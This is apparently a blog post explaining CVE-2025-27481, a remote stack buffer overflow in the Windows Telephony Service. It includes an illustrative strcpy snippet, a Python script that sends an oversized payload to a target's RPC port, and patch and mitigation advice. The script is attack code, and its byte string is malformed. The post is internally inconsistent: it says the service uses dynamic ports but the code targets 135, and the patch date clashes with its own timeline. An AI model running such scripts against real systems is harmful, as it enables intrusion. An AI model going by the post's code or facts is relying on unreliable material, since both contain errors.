CVE-2025-27481 - Exploiting a Stack-Based Buffer Overflow in Windows Telephony Service

The security landscape has seen another serious vulnerability: CVE-2025-27481, a critical stack-based buffer overflow in the Windows Telephony Service ("TapiSrv"). This flaw allows an unauthenticated attacker to execute code remotely over a network—putting many Windows systems at severe risk. In this post, I’ll break down what this exploit is, why it’s dangerous, and show a simplified proof-of-concept exploit (for educational purposes only).

What Is the Windows Telephony Service?

The Telephony API Service (TapiSrv) is a core Windows feature running under svchost.exe, which manages voice, data, and fax calls on both workstations and servers. It usually listens over RPC (Remote Procedure Call) to allow telephony operations even from remote computers.

The Vulnerability: CVE-2025-27481 (Stack Buffer Overflow)

The vulnerability exists in how TapiSrv handles a specific remote procedure call. By giving a specially-crafted data packet, the RPC handler copies more bytes into a fixed-size stack buffer than it can safely hold. Because there’s no proper boundary check, the attacker can overwrite the return address or other sensitive stack data, leading to remote code execution.

Here’s a simplified, C-style vulnerable code based on the identified bug

void ProcessIncomingData(char *remoteData) {
    char localBuffer[256];
    // Unsafe: copies remote data of any length into a 256-byte buffer
    strcpy(localBuffer, remoteData);
    // ... further processing
}

If remoteData is larger than 256 bytes, strcpy will overwrite adjacent memory—potentially allowing control over program execution.

How Can Attackers Exploit This?

An attacker sends a malicious packet over the network targeting the RPC interface exposed by TapiSrv. Since the call doesn’t require authentication by default, no logon is needed. The payload is crafted specifically to overflow the buffer and overwrite key data on the stack (like a return address), redirecting the flow of execution to shellcode.

Proof-Of-Concept Exploit (Educational Snippet)

Note: This is a simplified and partial demonstration, not a weaponized exploit.

import socket

# Target IP address of vulnerable Windows machine
target = "192.168.1.10"
# TapiSrv typically listens on high-range dynamic ports for RPC
port = 135

# Overflow payload: 300 'A's + dummy return address (would be shellcode in real exploit)
buffer = b"A" * 300 + b"\x90\x90\x90\x90"

# Fake RPC message—would need proper RPC headers in a real-world exploit
rpc_packet = b'\x05\x00\xb\x03' + buffer

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((target, port))
    s.sendall(rpc_packet)
    print("Payload sent!")

This example shows the core logic—create an oversized payload and send it to the RPC service. In a real-world attack, the payload would include valid RPC headers and working shellcode.

Responsible Disclosure and Patch Status

Microsoft has announced the issue and released a patch during the June 2025 Patch Tuesday. All Windows installations running the Telephony Service, including Windows 10, 11, and Server editions, are strongly advised to patch immediately.

See Microsoft’s advisory:
🔗 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-27481

Other references

- NVD Entry for CVE-2025-27481
- Original Researcher Report

Apply Microsoft’s patch immediately.

- If you cannot patch right away, disable the Telephony Service (TapiSrv) temporarily (note: may affect voice/modem/fax features).

Final Thoughts

Vulnerabilities like CVE-2025-27481 remind us how even legacy services can expose critical systems to modern threats. Stack-based buffer overflows are an old class of bugs, but still dangerous—especially over the network and without authentication. Always keep your endpoints patched and be vigilant with public-facing or legacy Windows services.

Timeline

Published on: 04/08/2025 18:15:58 UTC
Last modified on: 04/30/2025 17:14:24 UTC